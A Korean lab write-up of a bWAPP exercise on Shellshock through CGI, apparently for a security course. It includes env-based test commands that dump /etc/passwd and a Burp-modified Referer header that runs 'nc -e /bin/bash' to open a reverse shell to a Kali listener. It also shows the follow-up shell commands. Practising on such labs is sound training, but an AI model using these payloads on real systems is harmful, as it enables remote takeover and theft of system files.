정보보안(구버전)/ bWAPP 2019. 2. 25. 16:08
웹 해킹 bWAPP - 109. A9 - Using Known Vulnerable Components - Shellshock Vulnerability(CGI)
본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다.
1. Using Known Vulnerable Components
- OWASP Top10 A9 - 알려진 취약점이 있는 구성 요소 사용
- 슈퍼유저 권한으로 운영되는 취약한 라이브러리/프레임워크, 기타 SW 모듈로 인한 데이터 유실 및 서버 권한 획득이
가능한 취약점이다.
2. Shellshock Vulnerability(CGI)
- Bash Shell : 사용자가 CLI 기반에서 명령어를 입력하면 운영체제가 이에 대응하는 동작하게 하는 명령어 해석기이다.
- Bash Shell Bug : Bash로 해당 명령을 실행했을때, 그에 대응하는 결과 뿐만 아니라, 다른 결과까지 실행되는 버그이다.
- Bash Shell Bug 관련 기사
http://www.edaily.co.kr/news/NewsRead.edy?SCD=JE41&newsid=01387446606224712&DCD=A00504&OutLnkChk=Y
http://www.ddaily.co.kr/news/article.html?no=122932
- exploit-db 사이트(https://www.exploit-db.com/)를 이용하여 Bash Shell Bug 관련된 내용을 찾아보도록 한다.
바로가기 : https://www.exploit-db.com/exploits/34765
Exploit Database Note:
|
env x='() { :;}; 명령어는 함수를 이용한 환경변수 설정의 기본 형식이다. 만약, 명령어 끝나는 ; 뒤에 명령어는 오류가 발생하거나, 실행되지 않는게 원칙이다. 다음과 같이 테스트를 실시한다.
bee@bee-box:/var/www/bWAPP$ env x='() { :;}; echo cisco' bash -c "echo this is a test"
cisco
this is a test
bee@bee-box:/var/www/bWAPP$ env x='() { :;}; cat /etc/passwd' bash -c "echo this is a test"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
~ 중간 생략 ~
- 즉, env x='() {A;}' bash -c 'x' 라고 설정하면, x 명령은 A에 해당되는 결과만 제공한다.
- 만약, env x='() {A;}; B' bash -c 'x' 라고 설정하면, x는 명령은 B에 해당되는 결과까지도 제공되는 문제가 발생한다.
- Bash Shell Bug 취약점을 갖고 있는 대표적인 버전은 다음과 같다.
bash-4.2.45-5.el7_0.2
bash-4.1.2-15.el6_5.1
bash-4.1.2-15.el6_5.1.sjis.1
bash-4.1.2-9.el6_2.1
bash-4.1.2-15.el6_4.1
bash-3.2-33.el5.1
bash-3.2-33.el5_11.1.sjis.1
bash-3.2-24.el5_6.1
bash-3.2-32.el5_9.1
bash-3.2-32.el5_9.2
bash-3.0-27.el4.2
- 현재 Bash 버전을 확인한다.
bee@bee-box:/var/www/bWAPP$ dpkg -l bash
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Installed/Config-f/Unpacked/Failed-cfg/Half-inst/t-aWait/T-pend
|/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad)
||/ Name Version Description
+++-==============-==============-============================================
ii bash 3.2-0ubuntu16 The GNU Bourne Again SHell
3. Using Known Vulnerable Components - Shellshock Vulnerability(CGI)
- 이 시나리오는 CGI가 발생하는 Referer에 쉘 쇼크 코드를 입력하여 리버스 쉘을 획득하는 내용이다.
- 이때, 'shellsock.php'에서 'shellshock.sh' 페이지로 Referer될때 쉘 쇼크 코드를 입력해야 한다.
Ex1) Using Known Vulnerable Components - Shellshock Vulnerability(CGI)
보안 레벨 선택 및 시나리오 선택
'referer header'를 이용하라는 내용 확인
칼리에서 리버스 쉘 Listen 상태 실시
root@kali:~# nc -n -v -l -p 4444
|
Intercept -> 'Intercept is on' 으로 변경 실시
주소창 새로 고침 실시
버프슈트 Intercept 내용 확인(URL이 'shellshock.sh'인지 확인)
Referer 내용 변경
GET /bWAPP/cgi-bin/shellshock.sh HTTP/1.1 Host: 192.168.20.205 User-Agent: Mozilla/5.0 (Linux; Android 7.0; PLUS Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.20.205/bWAPP/shellshock.php <- 기존 내용
Referer: () { :;}; echo "Shellshock Vulnerability TEST" $(/bin/sh -c "nc -e /bin/bash 192.168.20.50 4444") <- 변경 내용
Cookie: PHPSESSID=c486e47650fc98339c687404b2aca53f; security_level=0 Connection: close Upgrade-Insecure-Requests: 1
|
Referer 내용 확인 및 'Forward' 버튼 클릭
'Intercept is on'를 클릭하여 off 실시
'Intercept is off' 확인
칼리에서 리버스 쉘 연결 상태 확인
root@kali:~# nc -n -v -l -p 4444
whoami
pwd
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@bee-box:/usr/lib/cgi-bin$ cat /etc/passwd
www-data@bee-box:/usr/lib/cgi-bin$ (Ctrl+c) |
[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)
웹해킹 109. A9 - bWAPP Using Known Vulnerable Components - Shellshock Vulnerability(CGI)